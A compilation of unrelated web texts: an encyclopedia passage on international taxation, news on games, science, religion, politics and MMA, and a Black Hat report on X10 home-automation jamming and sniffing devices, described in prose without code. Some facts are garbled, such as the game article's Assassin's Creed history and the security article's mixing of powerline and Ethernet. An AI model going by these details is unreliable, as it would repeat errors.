10% or more (after the application of complex attribution of ownership rules) of a foreign corporation. Such persons may include individuals, corporations, partnerships, trusts, estates, and other juridical persons. A CFC is a foreign corporation more than 50% owned by U.S. shareholders. This income includes several categories of portable income, including most investment income, certain resale income, and certain services income. Certain exceptions apply, including the exclusion from Subpart F income of CFC income subject to an effective foreign tax rate of 90% or more of the top U.S. tax rate.[188]  The United Kingdom provides that a UK company is taxed currently on the income of its controlled subsidiary companies managed and controlled outside the UK which are subject to "low" foreign taxes.[189] Low tax is determined as actual tax of less than three-fourths of the corresponding UK tax that would be due on the income determined under UK principles. Complexities arise in computing the corresponding UK tax. Further, there are certain exceptions which may permit deferral, including a "white list" of permitted countries and a 90% earnings distribution policy of the controlled company. Further, anti-deferral does not apply where there is no tax avoidance motive.[190]  Rules in Germany provide that a German individual or company shareholder of a foreign corporation may be subject to current German tax on certain passive income received by the foreign corporation. This provision applies if the foreign corporation is taxed at less than 25% of the passive income, as defined.[citation needed] Japan and some other countries have followed a "black list" approach, where income of subsidiaries in countries identified as tax havens is subject to current tax to the shareholder. Sweden has adopted a "white list" of countries in which subsidiaries may be organized so that the shareholder is not subject to current tax.  Transfer pricing [ edit ]  The setting of the amount of related party charges is commonly referred to as transfer pricing. Many jurisdictions have become sensitive to the potential for shifting profits with transfer pricing, and have adopted rules regulating setting or testing of prices or allowance of deductions or inclusion of income for related party transactions. Many jurisdictions have adopted broadly similar transfer pricing rules. The OECD has adopted (subject to specific country reservations) fairly comprehensive guidelines.[191] These guidelines have been adopted with little modification by many countries.[192] Notably, the U.S. and Canada have adopted rules which depart in some material respects from OECD guidelines, generally by providing more detailed rules.  Arm's length principle: It is a key concept of most transfer pricing rules, that prices charged between related enterprises should be those which would be charged between unrelated parties dealing at arm's length. Most sets of rules prescribe methods for testing whether prices charged should be considered to meet this standard. Such rules generally involve comparison of related party transactions to similar transactions of unrelated parties (comparable prices or transactions). Various surrogates for such transactions may be allowed. Most guidelines allow the following methods for testing prices: Comparable uncontrolled transaction prices, resale prices based on comparable markups, cost plus a markup, and an enterprise profitability method.  Tax avoidance [ edit ]  Tax avoidance schemes may take advantage of low or no-income tax countries known as tax havens. Corporations may choose to move their headquarters to a country with more favorable tax environments. In countries where movement has been restricted by legislation, it might be necessary to reincorporate into a low-tax company through reversing a merger with a foreign corporation ("inversion" similar to a reverse merger). In addition, transfer pricing may allow for "earnings stripping" as profits are attributed to subsidiaries in low-tax countries.[193]  For individuals tax avoidance has become a major issue for governments worldwide since the 2008 recession. These tax directives began when the United States introduced the Foreign Account Tax Compliance Act (FATCA) in 2010, and were greatly expanded by the work of The Organisation for Economic Co-operation and Development (OECD). The OECD introduced a new international system for the automatic exchange of tax information – known as the Common Reporting Standard (CRS) – to which around 100 countries have committed. For some taxpayers, the CRS is already “live”; for others it is imminent. The goal of this worldwide exchange of tax information is tax transparency, and has aroused concerns about privacy and data breaches due to the sheer volume of information that is going to be exchanged.[194][195]  Expanded Worldwide Planning (EWP) is an element of international taxation created in the wake of tax directives from government tax authorities after the worldwide recession beginning in 2008. At the heart of EWP is a properly constructed Private placement life insurance (PPLI) policy that allows taxpayers to use the regulatory framework of life insurance to structure their assets. These assets can be located anywhere in the world and at the same time can be brought into compliance with tax authorities worldwide. EWP also brings asset protection and privacy benefits that are set forward in the six principals of EWP.  See also [ edit ]  Notes [ edit ]  ^ [10] After this period, they become residents of Saint Barthelemy for tax purposes.[11] New residents of Saint Barthelemy are considered residents of France for tax purposes, for the first five years after moving there.After this period, they become residents of Saint Barthelemy for tax purposes. ^ Saudi Arabia taxes the local business income of its residents who are not citizens of Gulf Cooperation Council countries (Bahrain, Kuwait, Oman, Qatar, Saudi Arabia and the United Arab Emirates) and of nonresidents. It also imposes zakat on the worldwide business income and assets of its residents who are citizens of Gulf Cooperation Council countries. Saudi Arabia does not impose tax or zakat on income or assets that are not related to business activities. ^ Puerto Rico does not tax foreign income of nonresident citizens. However, Puerto Rican citizens are also United States citizens, and the United States taxes their worldwide income regardless of where they live. ^ [10] After this period, they become residents of Saint Martin for tax purposes.[84] Residents of France who move to Saint Martin are not considered residents of Saint Martin for tax purposes, and continue to be taxed as residents of France, for the first five years after moving there.After this period, they become residents of Saint Martin for tax purposes. ^ The United States Virgin Islands do not tax foreign income of nonresident citizens. However, citizens of the United States Virgin Islands are also United States citizens, and the United States taxes their worldwide income regardless of where they live. ^ [41] Guam and the Northern Mariana Islands use the same income tax code as the United States, but each territory administers it separately. In the case of nonresident citizens, individuals who acquired United States citizenship by a connection to Guam or the Northern Mariana Islands are taxed by the respective territory, instead of by the United States. ^ [130] As of 2018, the following countries and territories are considered tax havens by Italy: Andorra, Anguilla, Antigua and Barbuda, Aruba, Bahamas, Bahrain, Barbados, Belize, Bermuda, British Virgin Islands, Brunei, Caribbean Netherlands (Bonaire, Saba, Sint Eustatius), Cayman Islands, Cook Islands, Costa Rica, Curaçao, Djibouti, Dominica, Ecuador, French Polynesia, Gibraltar, Grenada, Guernsey (including Alderney and Sark), Hong Kong, Isle of Man, Jersey, Lebanon, Liberia, Liechtenstein, Macau, Malaysia, Maldives, Marshall Islands, Mauritius, Monaco, Montserrat, Nauru, Niue, Oman, Panama, Philippines, Saint Kitts and Nevis, Saint Lucia, Saint Vincent and the Grenadines, Samoa, Seychelles, Singapore, Sint Maarten, Switzerland, Taiwan, Tonga, Turks and Caicos Islands, Tuvalu, United Arab Emirates, Uruguay, Vanuatu. ^ [131] However, the provision does not apply if the country has a treaty to share tax information with Mexico. This provision applies to income whose tax in the new country of residence is lower than 75% of the tax that the person would have paid as a resident of Mexico.However, the provision does not apply if the country has a treaty to share tax information with Mexico. ^ [133] As of 2018, the following countries and territories are considered tax havens by Portugal: American Samoa, Andorra, Anguilla, Antigua and Barbuda, Aruba, Bahamas, Bahrain, Barbados, Belize, Bermuda, Bolivia, British Virgin Islands, Brunei, Caribbean Netherlands (Bonaire, Saba, Sint Eustatius), Cayman Islands, Christmas Island, Cocos Islands, Cook Islands, Costa Rica, Curaçao, Djibouti, Dominica, Falkland Islands, Fiji, French Polynesia, Gambia, Gibraltar, Grenada, Guam, Guernsey (including Alderney and Sark), Guyana, Honduras, Hong Kong, Isle of Man, Jamaica, Jersey, Jordan, Kiribati, Kuwait, Labuan, Lebanon, Liberia, Liechtenstein, Maldives, Marshall Islands, Mauritius, Monaco, Montserrat, Nauru, Niue, Norfolk Island, Northern Mariana Islands, Oman, Palau, Panama, Pitcairn Islands, Puerto Rico, Qatar, Qeshm, Saint Helena, Ascension and Tristan da Cunha, Saint Kitts and Nevis, Saint Lucia, Saint Pierre and Miquelon, Saint Vincent and the Grenadines, Samoa, San Marino, Seychelles, Sint Maarten, Solomon Islands, Svalbard, Swaziland, Tokelau, Tonga, Trinidad and Tobago, Turks and Caicos Islands, Tuvalu, United Arab Emirates, United States Virgin Islands, Uruguay, Vanuatu, Yemen, and other Pacific islands (Micronesia, New Caledonia, Wallis and Futuna). ^ [135] As of 2018, the following countries and territories are considered tax havens by Spain: Anguilla, Antigua and Barbuda, Bahrain, Bermuda, British Virgin Islands, Brunei, Cayman Islands, Cook Islands, Dominica, Falkland Islands, Fiji, Gibraltar, Grenada, Guernsey, Isle of Man, Jersey, Jordan, Lebanon, Liberia, Liechtenstein, Macau, Mauritius, Monaco, Montserrat, Nauru, Northern Mariana Islands, Saint Lucia, Saint Vincent and the Grenadines, Seychelles, Solomon Islands, Turks and Caicos Islands, United States Virgin Islands, Vanuatu.  References [ edit ]  Further reading [ edit ]
-Ubisoft couldn’t have found a better way to conclude their 3oth anniversary giveaway than this: The company has decided to offer Assassin’s Creed 3 absolutely free for the entire month. This makes the title its final gift to loyal gamers after their year-long series of giveaways launched this summer in honor of its 30th birthday.  Assassin’s Creed, being the biggest franchise of Ubisoft, makes the giveaway pretty generous. Although it is certainly not the first decent gimmick by the company, over the past few months, Splinter Cell, Beyond Good and Evil, and Far Cry have also been offered as freebies. With Assassin’s Creed 3, they have saved the best for last.  Revealed at E3 2006, Assassin’s Creed puts the audience in the middle of an ancient war between two age-old factions: the Assassins, who fight to protect freedom and the Templars, who aspire to impose a New World Order,” Ubisoft said. “From Italian Renaissance to the Russian Revolution, the player meets real historical heroes, takes part in events and shapes its own destiny. From one episode to the other, the creative teams have constantly added new layers of interaction and new gameplay making each world deeper and more fascinating.  Assassin’s Creed 3 will be available as a free download for Ubisoft Club members starting December 7. As expected, players will need a registered Uplay account to get their hands on their very own copy. The previous giveaway title, Far Cry: Blood Dragon, is still available to those who haven’t signed up yet.  PC gamers can experience the truth behind the most grisly war in history: the American Revolution. What makes this 2012 title so special is that it’s a sequel not just to Assassin’s Creed 2, but to Assassin’s Creed: Revelations. The most prominent change from the previous Assassin’s Creed games is the introduction of star Desmond Miles.  Assassin’s Creed The Ezio Collection is a compilation of the Ezio trilogy by Ubisoft released this fall. The game is out now on PlayStation 4 and Xbox One and contains some impressive improvements compared to Assassin’s Creed 2.  RELATED STORIES YOU NEED TO CHECK OUT:
-Alright, so I know everybody is waiting for this, and yes, we did have a conference with Elder Quentin L. Cook of the Quorum of the Twelve Apostles and it was incredible! There were in total 160 missionaries from the mission, all the way from Huesca to us all the way in Gandía and the Baleares. It was amazing. One thing that we all learned is that Apostles are still normal people. They don´t even know why they were called to be Apostles even to this day jaja. But Elder Cook talked to us about the importance of Preach My Gospel and he left us all with a small prophecy. He said that we are in Spain at this time, due to the economic crisis, because the people of Spain are ready for the Gospel. He said they are more humble, more open, and that this time is crucial for the Lord´s vineyard to flourish in Spain. He also left us with a blessing that EVERYBODY that we love and cherish will be taken care of. It was an amazing experience, and he wanted to shake each one of our hands. Incredible.  But in other sad news, Elaine did not get baptized because her mom is not letting her. Please pray for her still that she may be baptized! She shared her testimony the other day and she knows that the church is true! We need your prayers everybody. We need your love.  And not much happened this week, we talked to people, found a couple of people that are progressing, and Maricela, one of the recent converts in our area, her whole family has agreed to listen to our message and some of them have expressed interests in being baptized! The problem is their work schedule so we don´t have a lot of time to teach them, but please pray for her family that they may have time to meet with us.  Today for our pday we went to Catarroja, a town about 40 minutes away in train near Valencia. We played a turkey bowl with the whole Valencia Zone from Castellón and everywhere in between. It was fun, although Catarroja is not as pretty as Gandía. We have travelled so much this week… we are really tired, jajaja!
-A popular meditation technique that’s intended to create feelings of kindness can also reduce prejudice, according to new University of Sussex research.  The study, published online in the journal Motivation and Emotion, found that just seven minutes of Loving-kindness meditation (LKM), a Buddhist practise that promotes unconditional kindness towards oneself and others, is effective at reducing racial bias.  Lead researcher Alexander Stell, a Doctoral student in Psychology, said: “This indicates that some meditation techniques are about much more than feeling good, and might be an important tool for enhancing inter-group harmony.”  LKM is known to engender happiness and kindness to oneself and others through repeating phrases such as ‘may you be happy and healthy’ while visualising a particular person.  Some previous studies have shown that inducing happiness in people, for example by exposing them to upbeat music, can actually make them more likely to have prejudiced thoughts compared to those hearing sad music.  Mr Stell said: “We wanted to see whether doing LKM towards a member of another ethnic group would reduce the automatic preference people tend to show for their own ethnic group.”  For the study, a sample of 71 white, non-meditating adults were each given a photo of a gender-matched black person and either received taped LKM instructions, or instructions to look at the photos and notice certain features of the face. Both conditions lasted just seven minutes.  Using the Implicit Association Test, the researchers then scored the reaction times of the participants who were asked to match up positive and negative words (for example “happiness” or “wrong”) with faces that belonged to either their own or another ethnic group.  On average people are quicker to match positive stimuli with their own group and quicker to match negative stimuli to the other group. This produces a bias ‘score’ that is considered a more robust measure of prejudice than traditional questionnaire data, which are known to be strongly influenced by social desirability.  The researchers found that just seven minutes of LKM directed to a member of a specific racial group (in this case, a black person) was sufficient to reduce racial bias towards that group. However, there was no marked reduction in racial bias towards other groups.  Additionally the researchers measured levels of positive emotions that were either ‘other-regarding’ (e.g. love, gratitude, awe, elevation) and those that were more self-directed (e.g. contentment, joy, pride) and found that people doing LKM showed large increases specifically in other-regarding emotions. These other-regarding emotions were found to be what drives the reduction of bias.
-(WSVN) - America is split over the presidential race. If you support one candidate, friends supporting the other can be furious. A South Florida man says he was banned from his condo gym because he wore his Donald Trump ‘Make American Great Again’ cap.  Is that legal? Help Me Howard with Patrick Fraser elected to check into it.  Nikos Henry is a young single guy … so it’s no surprise why he moved to South Beach.  “The women… the weather … the culture,” Henry said.  As you can see from Nikos’s cap, he also likes Donald Trump.  “I believe in what he says. I think we need to change the country,” he said.  Sometimes when Nikos goes out, he wears Trump’s ‘Make America Great Again’ cap and sometimes that grates on the nerves of people he sees.  “I gotten heckled … some guy threw a soda in my car with the window open and said ‘Screw Trump,’ and I am like, ‘What the heck,” Henry said.  Nikos can laugh about being heckled. “And hen I wore it to the gym, and that’s when it all went downhill,” he told 7News.  The South Florida man lives at The Flamingo on Miami Beach where his lease includes a membership in the gym that’s on the property.  “I got approached a couple of times by staff that told me I should probably not wear the hat and I ignored them and kept wearing it,” Henry said.  Henry said the newly appointed general manager came up to him and said ‘you need to take the hat off.’  “And I basically told him he needed to go screw himself. And he banned me from the gym,” Henry said.  Nikos then got an email from the general manager saying, “We were terminating your membership due to the verbal harassment directed at one of our employees.” Nikos says that’s not why he was banned.  “He says verbal harrassment, but I know it’s because of the hat. I know it,” Henry said.  Nikos says he ignored the ban and went back to the gym wearing a different cap.  The manager at The Flamingo fitness gym sent an email with a surveillance picture taken of Nikos at the gym, telling him if he came back, he would be arrested and charged with trespassing.  So Nikos went to to speak to the manager.  “I went and apologized. I said I won’t wear the hat again and he said, ‘No, we sent you an email, read it. You are banned,” Henry said.  Banned Nikos believes he was banned because he supports Donald Trump.  “I think it’s political discrimination … definitely. This is insane. It’s hilariously insane,” Henry said.  Nikos thinks it’s insane, but Howard, is it legal to bar him from a gym for wearing a cap supporting a political candidate?  “No they cannot ban him for the Trump cap because they have no rules prohibiting the wearing of political attire, but they can ban you for what they call verbal harrassment. And how does Niko prove he’s banned because of the cap and not harrassment? It’s almost impossible. He can’t do it, and so they can ban him,” said Howard Finkelstein, 7News legal expert.  7News contacted the general manager at the fitness center who says Nikos didn’t even wear the cap into the facility.  He wrote, “Mr. Henry’s membership was not suspended due to this attire or political views. His membership was cancelled for his inappropriate and verbally abusive behavior. Hostility and harassment is simply not tolerated in order to protect our staff and fellow members.”  “I feel like it’s my right as an American to be able to wear what I want,” Henry said.  Despite the claim it was Nikos’s abusive words that got him banned, he is still convinced it was his Donald Trump cap.  “People cannot stand for the freaking Star Bangled Banner now? You can’t wear a hat? It’s just insane,” Henry said.  Now Nikos could sue the gym, but he probably wouldn’t win. He admits he cussed at them when they told him to take the Trump hat off… giving them the right to bar him for verbal harassment.  Got a problem you can’t work out? Feel like you’re a candidate for some help? Elect to go with us and let us campaign to get things taken care of.  CONTACT HELP ME HOWARD:  Email: helpmehoward@wsvn.com  Reporter: Patrick Fraser at pfraser@wsvn.com  Miami-Dade: 305-953-WSVN  Broward: 954-761-WSVN  On Twitter: @helpmehoward7  Copyright 2018 Sunbeam Television Corp. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
-A king crab. (Allison Randolph)  At first glance, it’s hard to imagine anything capable of surviving in the frigid waters off the shore of Antarctica. But, in fact, the Antarctic coastline is home to a unique ecosystem that’s been in place for millions of years, dominated by soft-bodied filter feeding organisms, such as sea stars and marine worms.  But new research, led by Richard Aronson, a professor of biological sciences at the Florida Institute of Technology, finds that rising water temperatures off the coast of Antarctica, brought about by global climate change, could be pitting the delicate marine ecosystem against an unexpected threat: an invasion of shell-crushing crabs.  A study published Monday in Proceedings of the National Academy of Sciences finds that conditions are ripe for an invasion of king crabs on the continental shelf off the western Antarctic peninsula. The crabs, which are known for their habit of breaking open the outer skeletons of animals like starfish, urchins and mollusks, feed on the kinds of soft-bodied organisms living on the shelf and have the potential to wreak havoc on the local ecology.  King crabs are found on the bottom of the ocean in deep waters around the world and are also known to turn up in shallower waters in subpolar regions. A few species, such as red king crabs, are famous for growing to enormous sizes, although many other species are much more modest in size. But while they’re widespread across the globe, for millions of years they’ve been unable to venture too close to the Antarctic land mass because conditions there are too cold for them.  [What one starving polar bear picture does — and doesn’t — say about climate change]  In general, king crabs can’t cope with temperatures much colder than 1 degree Celsius (34 degrees Fahrenheit). Shallow waters over the Antarctic continental shelf tend to be very cold, because they’re so close to the icy continent. A little farther offshore, over the continental slope, the waters warm up a bit — and then, as the waters deepen, they start to get colder again.  In recent years, scientists have been observing king crabs in the waters over the Antarctic continental slope off the western Antarctic peninsula. Temperatures there are pretty frigid but still within livable range for the crabs. So while scientists aren’t sure how long the crabs have been there — they might have moved into the area just a few years ago, or they might have been there for decades, Aronson said — it’s not wholly surprising that they’ve shown up in the area.  However, scientists weren’t quite sure how big a population existed there. So in 2010, Aronson and his colleagues conducted a photographic survey off the Marguerite Bay on the western Antarctic peninsula to find out how many crabs were present.  It turns out there are more than just a few crabs crawling around down there. The researchers found a large population, thousands strong, mostly consisting of a species of king crab called Paralomis birsteini, which grows to an average of a few inches long — and the population appears to be stable and reproducing. This in and of itself wasn’t that surprising, bcause it was already common knowledge that the crabs existed at these depths. But the researchers were also interested in finding out whether there were any barriers to the crabs moving farther up onto the continental shelf.  To find out whether the crabs could survive on the shelf, they measured environmental conditions, including water temperature, salinity and pressure. Their conclusion was that conditions are tolerable for the crabs on the continental shelf, meaning there are no barriers to the crabs moving into the shallower waters.  During the survey, crabs were observed at depths of 2,759 feet to 7,434 feet — but Aronson said they could move up to about 1,312 feet deep, which is on the lower end of the Antarctic continental shelf. This is thanks to rapid warming in the waters off the western Antarctic peninsula, which have warmed by about 1.5 degrees Celsius in the past 50 years — a warming rate that’s about double the global average.  [Scientists declare an ‘urgent’ mission — study West Antarctica, and fast]  “I think it’s really an important study,” said Craig Smith, professor of oceanography at the University of Hawaii, who was not involved with the study. In 2012, Smith published a paper describing another colony of king crabs in a different part of the western Antarctic peninsula. “It’s kind of substantiating some of the speculation and some of the other finds about king crabs and their potential to invade the continental shelf.”  If the crabs continue colonizing the area, there could be big consequences for the soft-bodied organisms living there. “These prey haven’t experienced this kind of predation in tens of millions of years,” Aronson said. So they haven’t developed adequate defenses, such as harder shells, to protect themselves from the hungry crabs. In other parts of the world, the kinds of organisms that king crabs feed on have developed much stronger skeletons that are better able to stand up to the crab’s crushing claws.  And, in fact, the crabs already seem to be making a difference in the lower depths where they’re living. During their survey, Aronson and his colleagues observed that where the crabs are most abundant, their prey animals are relatively scarce. But in shallower waters, where the crabs haven’t established themselves yet, the animals are much more abundant.  “You might think that maybe it’s the crabs that are having the impact,” Aronson said. “So this gives us at least some preliminary corroboration of the idea that these crabs, if they move up, will devastate these invertebrate populations in shallow water.”  The thing that scientists can’t explain yet is why the crabs haven’t moved into the shallower area, because it appears to be hospitable to them.  “There are a couple possibilities,” Smith said. “One is that there are barriers that we don’t quite understand.” In other words, some unidentified factor could still be preventing the crabs from moving upward. The other possibility is that conditions have only very recently become habitable for the crabs on the continental shelf, and they haven’t had time to move into the area yet.  If they do start moving forward, though, Aronson said he expects they could become a fixture on the shelf within the next five years or so. And as the region continues to warm, the authors say, the crabs could move into even shallower depths — perhaps above 656 feet — within the next few decades.  Smith says similar research in other parts of West Antarctica would be warranted, as it’s possible that the crabs are creeping up on other parts of the continent as well. West Antarctica is a particular concern, more so than the eastern side of the vast continent, because it has experienced so much warming in recent decades.  And he says experimental laboratory studies could also help scientists get a better grip on the kinds of conditions crabs can tolerate and how quickly they might be able to colonize shallower waters in Antarctica. “There’s an urgent need to bring these [crabs] into the lab and reproduce the conditions on the Antarctic shelf and see whether they can reproduce, what their physiological tolerances are,” Smith said.  Making accurate predictions about the crabs’ behavior over the next few years will be crucial to understanding how the Antarctic ecosystem might change in the future as a result of climate change.  “This is about the diversity of marine communities on the planet,” Aronson said. Even if there are no obvious economic effects associated with changing Antarctic ecology, there are still ethical issues to consider, he added. “This is about what you want this planet to look like — what this planet ought to look like — and how we are doing as stewards of the planet,” he said.  Also in Energy & Environment:  Yet another survey suggests the climate change ‘debate’ is settled among scientists  Scientists say New York City already faces much worse flood risks due to rising seas  With cap and trade plan, China adopts an emissions policy that couldn’t get through U.S. Congress  For more, you can sign up for our weekly newsletter here, and follow us on Twitter here.
-LAS VEGAS--Researchers at the Black Hat security conference here showed today how they could disrupt and snoop on home automation networks in residences and offices using devices connected to Ethernet networks that communicate via public power lines.  Dave Kennedy and Rob Simon have created a device that can be plugged in to a power outlet outside a target building or a nearby building and programmed to interfere with the home Ethernet network inside. The X10 Black Out device can be programmed to jam the signals that turn lights on and off and open doors, as well as disable security systems, kill security cameras, turn air conditioning or heat off, and interfere with other functions of a home automation network based on the X10 protocol. X10 is one of the most popular protocols.  They also have developed the X10 Sniffer device, which can see what appliances and systems are attached to the Ethernet network and see whether the doors are open and lights are on. "We can track people with motion sensors and see what part of the house they might be in," Simon said during a presentation. The sniffer device basically "maps out the entire house," said Kennedy, whose hacker handle is "ReL1K."  Home automation systems are appearing in more and more buildings, computerizing tasks that typically require some manual interaction, like turning on lights, or enabling advanced services, like heating toilet seats. The weaknesses stem from the fact that there is no encryption in the X10 protocol, said Simon, whose handle is "Kickenchicken57."  The researchers are a few weeks away from releasing versions of the devices that would allow an attacker to remotely control the device via the cellular network, so that it could be plugged in to the outlet and communicated with from afar, instead of having to preprogram the commands. The attacker will be able to communicate with the device via text message and the device will be able to "send text notifications when someone comes into their house," for example, Simon said.  They are also working on a sniffer based on the Z-Wave home automation protocol that connects appliances over a mesh network. That device will be able to sniff and decode the AES (Advanced Encryption Standard) encryption keys when a new appliance is added to the network, they said. This would enable an attacker to spoof the Z-Wave basic controller for the system.  "We're trying to bring more exposure to this attack avenue," Kennedy said when asked why he was revealing the weaknesses and releasing the tools. "This needs to be incorporated into penetration testing. It is a very real threat vector."  He said he had not notified any vendors of the flaws yet. Vendors will eventually need to add encryption to block such attacks, Kennedy said. "There's virtually no security on these things right now," he said.  The researchers did find one device, a Z-Wave-based door handle, that had encryption, but it was turned off by default.
-1 Place each salmon fillet on a sheet of aluminium foil.  2 Drizzle a little olive oil and a squeeze of lemon over each piece of salmon. Sprinkle with salt, pepper, and dill.  3 Wrap up the salmon fillets in the foil, carefully sealing each packet.  4 Put on the top rack of the dishwasher and run for a full cycle, with heated drying. Salmon will be done when the dishwasher runs the full cycle.  By: Connie King on Sat, Jun 8th 2002  More fish advice  It sure sounds like a novel way to cook salmon, but I was just wondering why? In what way is it better than other methods? Besides its orignality, of course..  This is the only way I know of poaching a large whole salmon or sea trout that is too long for any other method & it works extreemly well. Don't forget to take out the dirty crockery first & don't add detergent. Be sure rinse aide is empty and clean or it tastes diabolical, honest!.  Questions about fish:  Ask question
-Jorge Mario Bergoglio, Archbishop of Buenos Aires, right, kisses the hand of Pope John Paul II during a ceremony at the Vatican. Bergoglio, who became Pope Francis on March 13, cleared Pope John Paul II for sainthood, approving a miracle attributed to his intercession. (Photo11: AP) Story Highlights Healing of Costa Rican woman has been approved as a miracle  Pope Benedict XVI cleared way for faster beatification process during his papacy  Vatican rules waived to make Pope John XXIII a saint  VATICAN CITY — Pope Francis cleared Pope John Paul II for sainthood Friday, a little more than eight years after his death and faster than any other person in the modern era.  The Vatican said the healing of a Costa Rican woman has been approved as a miracle, one of the steps necessary for sainthood. Pope Benedict XVI cleared the way for the lightning-fast process during his papacy when he dispensed with the five-year waiting period after someone's death before the beatification process can begin.  The development sets up a remarkable dual canonization along with John XXIII, who was pope from 1958 to 1963. John XXIII, a beloved populist with a strong connection to the faithful, is the pontiff most compared to Francis.  Francis pushed aside the rules requiring at least two confirmed miracles to make John XXIII a saint, something the pope is allowed to do if he believes the figure deserves to be made a saint based on his own merit, according to Vatican spokesman Federico Lombardi. The two will be officially named saints "within a year," Lombardi added.  Until now, the fastest person to be named a saint in the modern era was Opus Dei founder Josemaria Escriva de Balaguer, whom John Paul declared a saint in 2002 after the Spaniard died in 1975.  Vatican experts said sainthood declarations further establish Francis' stamp on the papacy.  "This is just the latest example of Francis doing things his way," said Alistair Sear, a church historian. "It's clear the new pope follows his instincts, and many of the decisions he has made, such as this one, resonate."  CLOSE Pope Francis confirms a second 'miracle' by John Paul II, clearing the way for the first Polish Pope to be declared a saint. AP  The miracle Francis approved Friday involved the curing of a Costa Rican woman suffering from a brain aneurysm who prayed to John Paul for help and was healed on May 1, 2011 — the day John Paul was beatified, according to Italian and Spanish media reports. John Paul's first miracle — curing a French nun of Parkinson's Disease — was confirmed three years ago as part of the process required for his beatification.  Benedict's dismissal of the five-year waiting period before the start of the beatification period could have been in response to chants of "Santo Subito!" or "Sainthood Immediately!" that erupted throughout St. Peter's Square during John Paul's funeral. In the early days of the church, popes sometimes declared saints based on popular acclimation, but Benedict declined to do that, electing instead to clear the way for John Paul to be canonized in a remarkably short time by modern standards.  But some Italian media have criticized the church for moving so quickly to declare John Paul a saint, saying that the full ramifications of John Paul's 27-year papacy, including many of the Vatican's current problems including sex scandals and corruption, had their roots in his 1978 to 2005 papacy.  "These problems that started during John Paul's papacy are a real concern. There is a kind of cult of popes, and each pope feels pressure to canonize his predecessors," said Robert Mickens, Vatican correspondent for the London Catholic newspaper The Tablet. "There are a lot of dark clouds associated with his long pontificate, and with time they would complicate things. From Francis' perspective, this was probably an inevitable step, and so it was wise to get the distraction out of the way so he can focus on other things."  The news of John Paul's sainthood drew some enthusiastic responses in St. Peter's Square on Friday.  "John Paul II was the holiest man I ever saw in all my life," said Orlando Di Cosimo, a 61-year-old furniture restorer, who works near the Vatican.  Teresa Sitar, 35, a shopkeeper from John Paul's native Poland who has been living in Italy for 12 years, said she waited in line for 16 hours at John Paul's wake.  "He was a great man. I am so happy this has happened and so emotional I can't even think of what to say," she said.  Read or Share this story: http://usat.ly/127etfT
-Post: #5 Re: Are e-cigs Evil ? - Channel 5 phone in show !  Can you comment on the fb page about the show then? (I am allergic to fb so don't use it) maybe everyone could slam the comments with loads of facts and references before the show goes out? If nothing of use is referred to in the programme then we can be safe in the knowledge that it was going to be hysterical bias from the start and there is nothing we could have done about it anyhow.  Maybe a point could be made about them not all looking like ciggies, cos you can bet your life the argument of it encouraging kiddies to smoke will come up...... Probably repeatedly with wails of 'but the children.... Won't somebody think of the children' It's time for Action!  http://nnalliance.org/  http://www.theindefatigablefrog.blogspot.co.uk/  @caeruleansea @caeruleansea
-ONE: Kingdom of Champions will take place next Friday at the Impact Arena in Bangkok and will feature two title fights with Thailand’s Dejdamrong Sor Amnuaysirichoke defending his strawweight title against Yoshitaka Naito in the main event.  On the undercard, one of ONE Championship's most promising up and coming stars will take to the cage for the fifth time in as many months when featherweight Christian Lee takes on Rocky Batolbatol. Lee is currently 17 years old and since his debut in December, he's already managed to pick up four wins all of which he has won inside the first round.  Having competed earlier on in the month at ONE: Ascent To Power on 6 May, Lee will step into the cage for his next fight just 21 days later at ONE: Kingdom Of Champions. He explained to the Independent why the event was one he simply didn't want to miss out on.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  "This event is going to be huge and by far one of the biggest events of ONE Championship history," said Lee excitedly. "I think whether you are a fan of rock music or a fan of MMA fighting, you are going to come in there and see an amazing show. If I wasn't fighting, I'd just go in there and watch the fights and the music and take in the atmosphere. I think it's going to be amazing and I expect it to be one of the best fight cards yet."  When Lee spoke about rock music, he was referring to the fact that the show will feature appearances by two of Thailand’s biggest rock bands, Bodyslam and Big Ass. The inspiration behind the blend of rock music and MMA is said to be masterminded by the ONE Championship president in Thailand Kamol ‘Sukie’ Sukosol Clapp.  'Sukie' is a beloved local Thai celebrity and has a highly successful background within the music industry and he once described ONE Championship events as "having the atmosphere of a rock concert, building momentum from when the show starts, up to an epic finale manifested in an intense main event that electrifies ravenous martial arts fans."  ONE: Kingdom Of Champions has the making to be exactly that but for Christian Lee, he maintains his focus is on doing his job inside the cage as he continues to work his way up the ranks in ONE Championship's featherweight division.  "As soon as I found out I was fighting Rocky I immediately pulled up tapes of his last fights," said Lee. "I looked at his record and his past fights and I thought he was actually pretty similar to my last opponent. He swings for the fences and he goes out on his shield. He will come looking to knock me out so I'm going to be ready and I'm going to be on top of my game and look to finish him."  At just 17 years of age, Lee is living every bit the dream of any young man achieving success, fame and wealth but that doesn't stop him doing some of the most normal things a guy his age does and that includes graduating from high school.  "It's always kind of weird for me coming back home because I would be travelling the world fighting and I'd meet all these people and I'd be like 'oh I'm still actually in high school'," said Lee laughing. "Now that I've just graduated though I feel really good, nothing has really changed, I'm still doing what I've basically been doing for the past year so far.  "When I was in school I'd basically just ask for all the work ahead for the whole quarter and then when I'd go to fight, all my work would be done so that's how I've pulled it off."  With high school now in the bag, Lee will now be dedicating himself full time to MMA and that's a scary prospect for the rest of the ONE Championship featherweight division. His next stop will be ONE: Kingdom Of Champions and by the sounds of it, he's ready to rock in Bangkok.  ONE: Kingdom Of Champions Full Card - Impact Arena, Bangkok, Thailand  D. Sor Amnuaysirichoke vs. Yoshitaka Naito 115 lbs  Marat Gafurov vs. Kazunori Yokota 145 lbs  Christian Lee vs. Rocky Batolbatol 145lbs  T. Nastyukhin vs. Robert Lisita 145 lbs  Leandro Ataides vs. Marcin Prachnio 185 lbs  Anatpong Bunrad vs. Eugene Toquero 125 lbs  Y. Sityodtong vs. Chrech Kosal 135 lbs  Kyal Linn Aung vs. Shannon Wiratchai 145 lbs  Pongsiri Mitsatit vs. Ye Thway Ne 115 lbs  Kev Hemmorlor vs. K. Konsrichai 145 lbs  Keep up to date with all the latest news with expert comment and analysis from our award-winning writers
